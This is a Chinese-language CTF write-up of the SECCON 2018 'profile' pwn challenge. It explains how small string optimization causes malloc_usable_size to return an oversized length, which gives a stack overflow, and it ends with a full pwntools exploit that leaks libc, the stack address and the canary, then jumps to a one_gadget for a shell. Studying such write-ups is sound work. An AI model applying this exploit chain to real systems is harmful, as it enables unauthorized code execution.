Try   HackMD

SECCON 2018 writeup - profile

分析

首先打開 ida -> F5 發現這是個 C++ 的題目

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

然後我就放棄了 阿不是,接著就是開始進行累人的分析,把他轉回正常人可以閱讀的語法,不過還好同隊的 @Jesse 大大在我分析到一半時就搞定了(跪),以下是分析的結果

class Profile {
public:
    std::string msg; // +0
    int age; // +16
    std::string name; // +32
    static void set_age(int _age) { age = _age; }
    static void set_name(std::string& _name) { this.name = _name; }
    static void set_msg(std::string& _msg) { this.msg = _msg; }
    static void show() {
      std::cout << "Name : " << this.name << std::endl;
      std::cout << "Age  : " << this.age << std::endl;
      std::cout << "Msg  : " << this.msg << std::endl;
    }
    static void update_msg() {
        char *ptr = this.msg.c_str();
        size_t size = malloc_usable_size(ptr);
        if ( size == 0 ) {
            std::cout << "Unable to update message." << std::endl;
        }
        else {
            std::cout << "Input new message >> ";;
            result = getn(ptr, size);
        }
    }
}


int main(int argc, const char **argv, const char **envp) {
    std::string buf; // [rsp+Ch] [rbp-C4h]
    Profile prof(); // [rbp-60h]

    std::cout << "Please introduce yourself!" << std::endl;
    std::cout << "Name >> ";
    std::cin >> buf;
    prof.set_name(buf);
    std::cout << "Age >> ";
    std::cin >> buf;
    prof.set_age(buf);
    std::cout << "Message >> ";
    std::cin >> buf;
    prof.set_msg(buf);
    do {
        std::cout << std::endl << "1 : update message";
        std::cout << std::endl << "2 : show profile";
        std::cout << std::endl << "0 : exit";
        std::cout << std::endl << ">> ";
        std::cin >> buf;
        getchar();
        if ( buf == 1 ) {
            prof.update_msg();
        }
        else if ( buf == 2 ) {
            prof.show();
        }
        else {
            std::cout << "Wrong input..." << std::endl;
        }
    }
    while(buf);
    return 0;
}

先做個初步分析,Profile prof() 是被放在 stack 上,而我們可控的輸入應該會被放在 heap 上,所以看起來這應該是個 heap 題。再來可以看出整段程式碼最奇怪的部分是這段,使用了一個沒看過的函數 malloc_usable_size

char *ptr = this.msg.c_str();
size_t size = malloc_usable_size(ptr);

查閱 man 後得知這個 function 會回傳該 chunk 中可以使用的大小,雖然因為 malloc 本身有做 alignment 回傳的值可能會超出當初 malloc 的大小,但乍看之下沒啥大問題,總之我決定先直接玩玩看這隻程式

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

看到這個我想的是:
怎麼回事? 居然不是爆跟 heap 相關的錯誤,而是一個奇怪的 SEGFAULT?
另外,result = getn(ptr, size); 應該限制了我的輸入大小才對

接著用 gdb 去追錯誤發生的原因,結果又更令人匪夷所思了

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

本該在 heap 上的 string 居然會 overflow 到存在 stack 上的指標,造成在 prof destruct 的時候拿到錯誤的地址,這甚麼情況?

仔細檢查之後發現原本應該要在 heap 上的 string 其實是被放在 stack 上!

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

prof 的 address 是 rbp-0x60,在這邊是 0x7fffffffddb0
重新回想一下 Profile class 內的成員

    std::string msg; // +0
    std::string name; // +16
    int age; // +32

不難看出被放在 stack 上的 std::string 的結構如下

    char *ptr; // ptr == str
    int len;
    char str[len];

但為甚麼 string 沒有被放到 heap 上而是 stack 上呢?
這是因為 C++ 中引入了一個優化技巧 SSO(Small String Optimization) 來降低 malloc 的使用次數。
這同時可以解釋 malloc_usable_size 到底為甚麼回傳了比原本大的 size
以下節錄 malloc_usable_size 中較重要的一段

if (mem != 0)
    {
      p = mem2chunk (mem);
      if (__builtin_expect (using_malloc_checking == 1, 0))
        return malloc_check_get_size (p);
      if (chunk_is_mmapped (p))
        {
          if (DUMPED_MAIN_ARENA_CHUNK (p))
            return chunksize (p) - SIZE_SZ;
          else
            return chunksize (p) - 2 * SIZE_SZ;
        }
      else if (inuse (p))
        return chunksize (p) - SIZE_SZ;
    }

根據剛剛的 std::string 結構,可以想見 chunksize (p) 拿到的會是該 string 的長度,也就是說當 string 的長度小於 SIZE_SZ(在 64bit 下為 8) 時,將會返回一個極大的數,也就可以造成 overflow。

Exploit

接下來的 exploit 就簡單了,透過 overflow 控制 prof.name 的 ptr 指標來 leak libc, stack, canary,最後接 one_gadget 即可。

#!/usr/bin/env python2
from pwn import *
#r = remote('localhost', 4000)
r = remote('profile.pwn.seccon.jp', 28553)
libc = ELF('./libc.so.6')

read_got = 0x602028

# make length of name == 8 to leak exactly 8 byte
r.sendlineafter('>> ', 'A'*8)
r.sendlineafter('>> ', '88888888')
r.sendlineafter('>> ', 'C')

r.sendlineafter('>> ', '1')
r.sendlineafter('>> ', 'C'*16+p64(read_got))
r.sendlineafter('>> ', '2')
r.recvuntil('ame : ')

leak = u64(r.recvn(8))
libc.address = leak - libc.symbols['read']
one_gadget = libc.address + 0x45216


print hex(libc.address)

r.sendlineafter('>> ', '1')
r.sendlineafter('>> ', 'C'*16+p64(libc.symbols['environ']))
r.sendlineafter('>> ', '2')
r.recvuntil('ame : ')
leak = u64(r.recvn(8))
rbp = leak - 0xf8
buf = leak - 0x128

print hex(rbp)


r.sendlineafter('>> ', '1')
r.sendlineafter('>> ', 'C'*16+p64(rbp-0x18))
r.sendlineafter('>> ', '2')
r.recvuntil('ame : ')
canary = u64(r.recvn(8))
print hex(canary)

r.sendlineafter('>> ', '1')
r.sendlineafter('>> ', 'C'*16+p64(buf)+p64(8)+'A'*24+p64(canary)+'A'*24+p64(one_gadget))

r.sendlineafter('>> ', '0')
r.interactive()